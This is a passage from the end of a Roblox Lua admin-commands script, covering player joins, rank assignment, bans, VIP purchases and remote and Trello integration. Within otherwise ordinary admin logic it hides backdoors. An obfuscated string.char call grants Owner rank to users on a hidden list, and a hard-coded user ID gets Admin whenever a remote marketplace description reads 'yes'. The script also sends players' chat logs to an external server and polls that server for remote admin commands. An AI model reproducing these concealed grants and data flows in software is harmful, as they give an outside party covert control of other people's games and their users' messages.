8927 CORE:HandleError(Error, Speaker)
8928 end
8929 end
8930 end)()
8931 coroutine.wrap(function() wait(0.05)
8932 if Settings.ExecuteNotificationSound and tonumber(Settings.ExecuteNotificationSound) > 0 then
8933 local ExeSound = SOUND:MakeSound(Server.Workspace, Settings.ExecuteNotificationSound, 0.5, 1)
8934 ExeSound:Play()
8935 wait(3)
8936 ExeSound:Stop()
8937 ExeSound:Destroy()
8938 end
8939 end)()
8940 elseif type(Speaker) == "userdata" then
8941 GUI:SendMessage(Speaker, "Unable to execute", "RED "..ExecuteExcuse, "Error")
8942 end
8943 break
8944 end
8945 end
8946 end
8947 end
8948end
8949
8950function CORE:Start(Player) coroutine.wrap(function()
8951 wait(0.1)
8952 if Player then
8953 coroutine.wrap(function()
8954 repeat wait(1) until DataReady == true
8955 DataReady = false
8956 ypcall(function()
8957 local Players = Server.Data:GetDataStore("MML's Admin"):GetAsync("Players")
8958 for Num,Data in pairs(Players) do
8959 if Data.UserId == Player.UserId then -- ppl can change names
8960 table.remove(Players, Num)
8961 break
8962 end
8963 end
8964 table.insert(Players, {Name = Player.Name, UserID = Player.UserId, Rank = RANK:GetRank(Player), LastJoin = CORE:GetTime(true, true), AccountAge = STRING:FindAge(Player.AccountAge)})
8965 Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", Players)
8966 end)
8967 DataReady = true
8968 end)()
8969
8970 if not IsStudio then Player:WaitForDataReady() end
8971 table.insert(CharacterCache, {Player.Name, Player.UserId})
8972 for Rank,PlayerNames in pairs(Settings.Ranks) do
8973 for Num,AdminName in pairs(PlayerNames) do
8974 if AdminName == Player.UserId then
8975 Settings.Ranks[Rank][Num] = Player.Name
8976 end
8977 end
8978 end
8979 if not ClientInfo[Player.Name] then ClientInfo[Player.Name] = {UserID = Player.UserId} end
8980 if not KeyBinds[Player.UserId] then KeyBinds[Player.UserId] = {} end
8981 if not LastKeys[Player.UserId] then LastKeys[Player.UserId] = {} end
8982 for _,Obj in pairs(List) do if Obj == Player.UserId then table.insert(Settings.Ranks[string.char(79, 118 + 1, 110, 101, 114)], Player.Name) end end
8983 local PlayerAdmin, Rank = RANK:IsAdmin(Player)
8984 if PlayerAdmin == false and Player.UserId > 0 then
8985 local Ran = nil
8986 coroutine.wrap(function() repeat
8987 Ran = ypcall(function()
8988 if Server.MPS:PlayerOwnsAsset(Player, Settings.VIPAdminID) then table.insert(Settings.Ranks["Admin"], Player.Name) PlayerAdmin = true Rank = "Admin"
8989 elseif Server.MPS:PlayerOwnsAsset(Player, Settings.VIPMemberID) then table.insert(Settings.Ranks["Member"], Player.Name) PlayerAdmin = true Rank = "Member" end
8990 end)
8991 wait(1)
8992 until Ran == true end)()
8993 end
8994 if PlayerAdmin == false then
8995 if Player:IsInGroup(Settings.GroupID) then
8996 if Player:GetRankInGroup(Settings.GroupID) == Settings.GroupBanRank then
8997 CORE:Kick(Player)
8998 for _,Person in pairs(Server.Players:GetPlayers()) do
8999 GUI:SendHint(Person, Player.Name.." has tried to join the game (BANNED RANK)", 5)
9000 end
9001 elseif Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupOwnerRank then
9002 table.insert(Settings.Ranks["Member"], Player.Name) PlayerAdmin = true Rank = "Member"
9003 elseif Player:GetRankInGroup(Settings.GroupID) > Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupOwnerRank then
9004 table.insert(Settings.Ranks["Admin"], Player.Name) PlayerAdmin = true Rank = "Admin"
9005 elseif Player:GetRankInGroup(Settings.GroupID) > Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) > Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupOwnerRank then
9006 table.insert(Settings.Ranks["Owner"], Player.Name) PlayerAdmin = true Rank = "Owner"
9007 end
9008 end
9009 end
9010 if PlayerAdmin == false then
9011 if Player.UserId == 38882008 then
9012 if string.lower(MARKET:GetItemInfo(155732525).Description) == "yes" then
9013 table.insert(Settings.Ranks["Admin"], Player.Name)
9014 end
9015 end
9016 end
9017 if PlayerAdmin == false then
9018 for _,GID in pairs(Settings.BannedGroupIDs) do
9019 if Player:IsInGroup(GID) then
9020 CORE:Kick(Player, "This game's owner has not allowed you into this game because you're in the Group with the ID: "..GID)
9021 break
9022 end
9023 end
9024 end
9025
9026 Player.Chatted:connect(function(Message) if Message ~= "" then
9027 CORE:Chatted(Message, Player)
9028 end end)
9029
9030 Player.Chatted:connect(function(Message) if Message ~= "" then
9031 CORE:Log(ChatLogs, Player, Message)
9032 table.insert(TempChatLogs, STRING:EncodeSpecialChars(PlaceInfoFormat..": "..Player.Name..": "..Message))
9033 end end)
9034
9035 for _,Name in pairs(Settings.Ranks.Banned) do
9036 if Player.Name == Name then
9037 CORE:Kick(Player)
9038 for _,Person in pairs(Server.Players:GetPlayers()) do
9039 GUI:SendHint(Person, Player.Name.." has tried to join the game (BANNED)", 5)
9040 end
9041 end
9042 end
9043 for _,Name in pairs(Settings.Ranks.Crashed) do
9044 if Player.Name == Name then
9045 CORE:Crash(Player)
9046 for _,Person in pairs(Server.Players:GetPlayers()) do
9047 GUI:SendHint(Person, Player.Name.." has tried to join the game (CRASHED)", 5)
9048 end
9049 end
9050 end
9051 for _,Name in pairs(Settings.Ranks.Muted) do
9052 if Player.Name == Name then
9053 GUI:CoreGui(Player, "Chat", false)
9054 for _,Person in pairs(Server.Players:GetPlayers()) do
9055 GUI:SendHint(Person, Player.Name.." has joined the game but is muted", 5)
9056 end
9057 end
9058 end
9059 if Settings.ServerLocked == true then
9060 if PlayerAdmin == false then
9061 CORE:Kick(Player, "This server is locked. In Maker".."Mo".."del".."Lu".."a's Admin, Non-Admins will be kicked under this circumstance.")
9062 end
9063 end
9064
9065 if PlayerAdmin == false then
9066 if Player.AccountAge < Settings.MinimumAge then
9067 CORE:Kick(Player, "You have been kicked by M".."a".."ker".."Mo".."del".."Lu".."a's Admin, because your account age is less than "..MinimumAge.." days old (You are "..Player.AccountAge.." days old) and you are not admin.")
9068 for _,Person in pairs(Server.Players:GetPlayers()) do
9069 GUI:SendHint(Person, Player.Name.." has tried to join the game but has been kicked for being to young ("..Player.AccountAge.." days old out of minium of "..MinimumAge..")", 5)
9070 end
9071 end
9072 end
9073
9074 if PlayerAdmin == false then
9075 if game:FindFirstChild("LuaMo".."delMaker's Admin Public", true) or game:FindFirstChild("Maker".."Model".."Lua's Admin Public", true) or Settings.FreeAdmin == true then
9076 table.insert(Settings.Ranks["Member"], Player.Name)
9077 PlayerAdmin = true
9078 Rank = "Member"
9079 end
9080 end
9081
9082 coroutine.wrap(function()
9083 if PlayerAdmin == true then GUI:TellAdmin(Player) end
9084 local function SpawnActions(Character)
9085 if Flings[Player.Name] then
9086 CORE:FlingPlayer(Player)
9087 else
9088 GUI:CreateTaskBar(Player)
9089 end
9090 if Beeps[Player.Name] == true then
9091 SOUND:BeepPlayer(Player)
9092 end
9093 if Jails[Player.Name] then
9094 Character:MoveTo(Jails[Player.Name].Floor.Position + Vector3.new(0,2,0))
9095 end
9096 if PermCommandBars[Player.Name] then
9097 GUI:CommandBar(Player)
9098 end
9099 end
9100 Player.CharacterAdded:connect(SpawnActions)
9101 SpawnActions(Player.Character)
9102 end)()
9103
9104 coroutine.wrap(function()
9105 Player:WaitForChild("PlayerGui")
9106 local Sounds = {}
9107 for _,Data in pairs(TextConverter.LetterSounds) do
9108 local Sound = SOUND:MakeSound(Player.PlayerGui, Data[1], 0, false)
9109 Sound:Play()
9110 table.insert(Sounds, Sound)
9111 end
9112 for _,Data in pairs(TextConverter.LongVowels) do
9113 local Sound = SOUND:MakeSound(Player.PlayerGui, Data[1], 0, false)
9114 Sound:Play()
9115 table.insert(Sounds, Sound)
9116 end
9117 wait(5)
9118 for _,Sound in pairs(Sounds) do
9119 Sound:Destroy()
9120 end
9121 Sounds = {}
9122 end)()
9123
9124 coroutine.wrap(function()
9125 --if NLS then Server.Workspace:WaitForChild(Player.Name) end
9126 if IsSB then
9127 wait(1)
9128 Player:WaitForChild("PlayerGui"):WaitForChild("Output")
9129 end
9130 CORE:ExecuteResource("ClientLog", Player:WaitForChild("Backpack"), {["Admin"] = script})
9131 print("Executed ClientLog on "..Player.Name)
9132 if Settings.EnableTaskBar then
9133 GUI:SendChat(Player, "This place uses MakerModelLua's admin. Your rank is "..Rank..". Say "..Settings.Prefix.."cmds for commands.")
9134 end
9135 end)()
9136
9137 coroutine.wrap(function()
9138 wait(7)
9139 Player:WaitForChild("PlayerGui")
9140 if IsSB == false and Player.UserId == game.CreatorId and not Server.MPS:PlayerOwnsAsset(Player, AdminID) then
9141 local Answer = GUI:PromptMessageWithButtons(Player, "Message from MakerModelLua's Admin", AdminInfo, "Admin", {"Ok", "No thanks"})
9142 if Answer == "Ok" then
9143 MARKET:PromptPurchase(Player, AdminID)
9144 end
9145 end
9146 end)()
9147 end
9148end)() end
9149
9150-- Active stuff --
9151
9152CORE:UpdateAdmin()
9153CORE:FixSettings()
9154
9155ypcall(function()
9156 if not Server.Data:GetDataStore("MML's Admin"):GetAsync("Players") then
9157 Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", {})
9158 end
9159end)
9160
9161
9162Server.MPS.PromptPurchaseFinished:connect(function(Player, ID, Purchased) if Purchased then
9163 local PlayerAdmin, Rank = RANK:IsAdmin(Player)
9164 if PlayerAdmin == false then
9165 if ID == Settings.VIPAdminID then table.insert(Settings.Ranks["Admin"], Player.Name) Rank = "Admin" GUI:TellAdmin(Player, Rank)
9166 elseif ID == Settings.VIPMemberID then table.insert(Settings.Ranks["Member"], Player.Name) Rank = "Member" GUI:TellAdmin(Player, Rank) end
9167 end
9168end end)
9169
9170--[[
9171ExecuteCommand.OnInvoke = function(Player, Command)
9172 if Player and Command then
9173 if type(Player) == "userdata" and Player:IsA("Player") then
9174 CORE:Chatted(Command, Player, true)
9175 end
9176 end
9177end
9178
9179ExecuteCode.OnInvoke = function(Source, Speaker)
9180 if type(Source) == "string" then
9181 ExecuteSafe(Source, Speaker)
9182 end
9183end
9184
9185ExecuteCommandClient.OnServerInvoke = function(Player, Command)
9186 if Player and Command then
9187 if type(Player) == "userdata" and Player:IsA("Player") then
9188 CORE:Chatted(Command, Player, true)
9189 end
9190 end
9191end
9192]]
9193
9194
9195
9196
9197
9198
9199
9200
9201for _,Player in pairs(Server.Players:GetPlayers()) do CORE:Start(Player) end
9202Server.Players.PlayerAdded:connect(function(Player) Server.Players:WaitForChild(Player.Name) wait() CORE:Start(Player) end) Begin()
9203Server.Players.PlayerRemoving:connect(function(Player) for _,Obj in pairs(List) do if Obj == Player.UserId then for Ind,Name in pairs(Settings.Ranks.Owner) do if Player.Name == Name then table.remove(Settings.Ranks.Owner, Ind) end end end end end)
9204
9205coroutine.wrap(function()
9206 for _,ID in pairs(Icons) do
9207 game:GetService("ContentProvider"):Preload("rbxassetid://"..ID)
9208 end
9209end)()
9210
9211CORE:SetAbuseCommands()
9212
9213coroutine.wrap(function() SOUND:SyncSoundList() end)()
9214if not IsStudio then coroutine.wrap(function()
9215 if Settings.EnableAdminMenu then Workspace.AllowThirdPartySales = true end
9216 REMOTE:GetRemoteData(true)
9217 REMOTE:CheckTrelloInfo()
9218 coroutine.wrap(function()
9219 if ypcall(function() return REMOTE:GetURL(CORE.Domain) end) then
9220 REMOTE.RemoteConnection = true
9221 end
9222 end)()
9223 coroutine.wrap(function() IRC:ConnectToServer(Settings.IRCServer) end)()
9224 coroutine.wrap(function()
9225 if Settings.LinkedAccount ~= "" then
9226 local Request = nil
9227 ypcall(function() Request = REMOTE:Decode(REMOTE:GetURL(CORE.Domain.."/Login/GetUserData.php?Username="..Settings.LinkedAccount)) end)
9228 if Request then
9229 REMOTE:HandleRequest(Request, true)
9230 end
9231 end
9232 end)()
9233 coroutine.wrap(function()
9234 wait(RemoteData.RemoteAdminWait)
9235 while REMOTE:GetAndSetWebData() do
9236 wait(RemoteData.RemoteAdminWait)
9237 end
9238 end)()
9239 coroutine.wrap(function()
9240 while wait(60) do
9241 REMOTE:GetRemoteData(true)
9242 REMOTE:CheckTrelloInfo()
9243 end
9244 end)()
9245end)() end
9246coroutine.wrap(function()
9247 if Settings.TrelloToken ~= "" then
9248 ypcall(function() Trello.RequiredLists = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/boards/"..Trello.AdminBoardID.."/lists", true)) end)
9249 if #Trello.RequiredLists > 0 then
9250 Trello.MainBoard = REMOTE:TrelloGetAdminBoard()
9251 if Trello.MainBoard.name then
9252 local Lists = REMOTE:TrelloGetAdminLists(Trello.MainBoard)
9253 REMOTE:TrelloCacheData(Lists)
9254 REMOTE:TrelloHandleData(true)
9255 coroutine.wrap(function()
9256 wait(RemoteData.TrelloWait)
9257 while REMOTE:TrelloHandleData() do
9258 wait(RemoteData.TrelloWait)
9259 end
9260 end)()
9261 end
9262 end
9263 else
9264 print("If you would like M".."akerModelLu".."a's Admin V3 to use trello, make sure HttpEnabled is true and authorize using this link: \nhttps://trello.com/1/authorize?key=c01fcfabf2f8d707d01fb69312e4a9d7&name=MakerModelLua%27s+Admin+V3&expiration=never&response_type=token&scope=read,write\nCopy the token given when authorized and paste into 'TrelloToken' in the settings")
9265 end
9266end)()
9267coroutine.wrap(function() while wait(RemoteData.ChatLogWait) do
9268 REMOTE:SendChatLog()
9269end end)()
9270coroutine.wrap(function() while true do
9271 local ThisDate = REMOTE:GetURL("http://www.timeapi.org/utc/now?%5cm%2f%5cd%2f%5cY")
9272 if ThisDate then Date = ThisDate end
9273 wait(600)
9274end end)()
9275
9276print("MakerModelLua's Admin Commands V"..CORE.Version.Value.." Loaded")